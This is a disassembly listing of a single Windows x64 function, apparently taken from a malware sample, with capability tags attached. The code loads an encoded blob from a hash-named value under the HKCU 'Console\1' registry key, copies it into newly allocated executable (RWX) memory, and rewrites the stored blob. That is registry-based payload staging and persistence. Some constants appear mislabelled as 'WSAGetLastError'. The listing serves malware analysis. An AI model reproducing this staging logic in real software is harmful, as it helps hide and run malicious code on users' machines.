Function at 0x1400105b4
Capabilities:
Allocate or change rwx memory
Delete registry value
Query or enumerate registry value
Set registry value

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0xb00
mov rax, qword [0x1402b7130]
xor rax, rsp
mov qword [rsp + 0xaf0], rax
mov rax, qword [rsp + 0xb18]
movzx eax, byte [rax]
cmp eax, 0xc9
jne 0x1400105f4
jmp 0x140010afe
cmp dword [rsp + 0xb20], 0x65
jne 0x14001094d
mov dword [rsp + 0x34], 3
mov dword [rsp + 0x30], 0
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, [0x140201880]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14001074f
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x34]
xor r8d, r8d
mov rdx, qword [str.d33f351a4aeea5e608853d1a56661059]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov eax, dword [rsp + 0x30]
cmp rax, 0xa44
jbe 0x140010744
mov eax, dword [rsp + 0x30]
mov ecx, eax
call fcn.14001dee4
mov qword [rsp + 0xac8], rax
mov rax, qword [rsp + 0xac8]
mov qword [rsp + 0x40], rax
mov eax, dword [rsp + 0x30]
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0x40]
call fcn.1401c2860
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x34]
xor r8d, r8d
mov rdx, qword [str.d33f351a4aeea5e608853d1a56661059]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140010744
mov r8d, 0xa44
mov rdx, qword [rsp + 0x40]
lea rcx, [0x1402b97c0]
call fcn.1401c1c40
movsxd rax, dword [0x1402b99c8]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [0x1402ba208], rax
movsxd rax, dword [0x1402b99c8]
mov rcx, qword [rsp + 0x40]
add rcx, 0xa44
mov r8, rax
mov rdx, rcx
mov rcx, qword [0x1402ba208]
call fcn.1401c1c40
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0xb18]
inc rax
lea rdx, [0x1402b99cc]
mov rcx, rax
call fcn.1401c3bb0
test eax, eax
je 0x14001093b
cmp qword [0x1402ba208], 0
je 0x14001079b
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [0x1402ba208]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov qword [0x1402ba208], 0
mov dword [rsp + 0x60], 0
mov eax, 0x767b
mov word [rsp + 0x64], ax
mov eax, 0x5f55
mov word [rsp + 0x66], ax
mov eax, 0x6a21
mov word [rsp + 0x68], ax
mov eax, 0x5757
mov word [rsp + 0x6a], ax
mov eax, 0x2e
mov word [rsp + 0x6c], ax
mov eax, 0x64
mov word [rsp + 0x6e], ax
mov eax, WSAGetLastError
mov word [rsp + 0x70], ax
mov eax, WSAGetLastError
mov word [rsp + 0x72], ax
mov eax, 0x5f
mov word [rsp + 0x74], ax
mov eax, 0x62
mov word [rsp + 0x76], ax
mov eax, 0x69
mov word [rsp + 0x78], ax
mov eax, WSAGetLastError
mov word [rsp + 0x7a], ax
xor eax, eax
mov word [rsp + 0x7c], ax
lea rax, [rsp + 0x7e]
mov rdi, rax
xor eax, eax
mov ecx, 0x1e4
rep stosb byte [rdi], al
lea rax, [rsp + 0x262]
mov rdi, rax
xor eax, eax
mov ecx, 2
rep stosb byte [rdi], al
mov dword [rsp + 0x264], 1
mov dword [rsp + 0x268], 0
lea rax, [rsp + 0x26c]
mov rdi, rax
xor eax, eax
mov ecx, 0x64
rep stosb byte [rdi], al
lea rax, [rsp + 0x2d0]
mov rdi, rax
xor eax, eax
mov ecx, 0x7d0
rep stosb byte [rdi], al
lea rax, [rsp + 0xaa0]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
mov qword [rsp + 0x48], 0
mov dword [rsp + 0x50], 0
mov dword [rsp + 0x50], 0xa45
mov eax, dword [rsp + 0x50]
mov ecx, eax
call fcn.14001dee4
mov qword [rsp + 0xad0], rax
mov rax, qword [rsp + 0xad0]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov byte [rax], 5
mov eax, dword [rsp + 0x50]
dec eax
mov eax, eax
mov rcx, qword [rsp + 0x48]
inc rcx
mov r8d, eax
lea rdx, [rsp + 0x60]
call fcn.1401c1c40
mov r8d, dword [rsp + 0x50]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0xb10]
call fcn.140005670
cmp qword [rsp + 0x48], 0
je 0x140010939
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0xad8], rax
mov rcx, qword [rsp + 0xad8]
call fcn.14001deec
mov qword [rsp + 0x48], 0
jmp 0x140010948
mov rcx, qword [rsp + 0xb10]
call fcn.140010560
jmp 0x140010afe
mov rax, qword [rsp + 0xb18]
inc rax
mov r8d, 0xa44
mov rdx, rax
lea rcx, [0x1402b97c0]
call fcn.1401c1c40
movsxd rax, dword [0x1402b99c8]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [0x1402ba208], rax
movsxd rax, dword [0x1402b99c8]
mov rcx, qword [rsp + 0xb18]
add rcx, 0xa45
mov r8, rax
mov rdx, rcx
mov rcx, qword [0x1402ba208]
call fcn.1401c1c40
movsxd rax, dword [0x1402b99c8]
add rax, 0xa44
mov dword [rsp + 0xab8], eax
movsxd rax, dword [rsp + 0xab8]
mov rcx, rax
call fcn.14001dee4
mov qword [rsp + 0xae0], rax
mov rax, qword [rsp + 0xae0]
mov qword [rsp + 0xab0], rax
cmp qword [rsp + 0xab0], 0
je 0x140010abd
mov r8d, 0xa44
lea rdx, [0x1402b97c0]
mov rcx, qword [rsp + 0xab0]
call fcn.1401c1c40
movsxd rax, dword [0x1402b99c8]
mov rcx, qword [rsp + 0xab0]
add rcx, 0xa44
mov r8, rax
mov rdx, qword [0x1402ba208]
call fcn.1401c1c40
lea r8, [rsp + 0xac0]
lea rdx, str.Console1
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x140010aaf
mov rdx, qword [str.d33f351a4aeea5e608853d1a56661059]
mov rcx, qword [rsp + 0xac0]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov eax, dword [rsp + 0xab8]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0xab0]
mov qword [rsp + 0x20], rax
mov r9d, 3
xor r8d, r8d
mov rdx, qword [str.d33f351a4aeea5e608853d1a56661059]
mov rcx, qword [rsp + 0xac0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0xac0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp qword [rsp + 0xab0], 0
je 0x140010af1
mov rax, qword [rsp + 0xab0]
mov qword [rsp + 0xae8], rax
mov rcx, qword [rsp + 0xae8]
call fcn.14001deec
mov qword [rsp + 0xab0], 0
mov rcx, qword [rsp + 0xb10]
call fcn.140010560
mov rcx, qword [rsp + 0xaf0]
xor rcx, rsp
call fcn.1401c2d70
add rsp, 0xb00
pop rdi
ret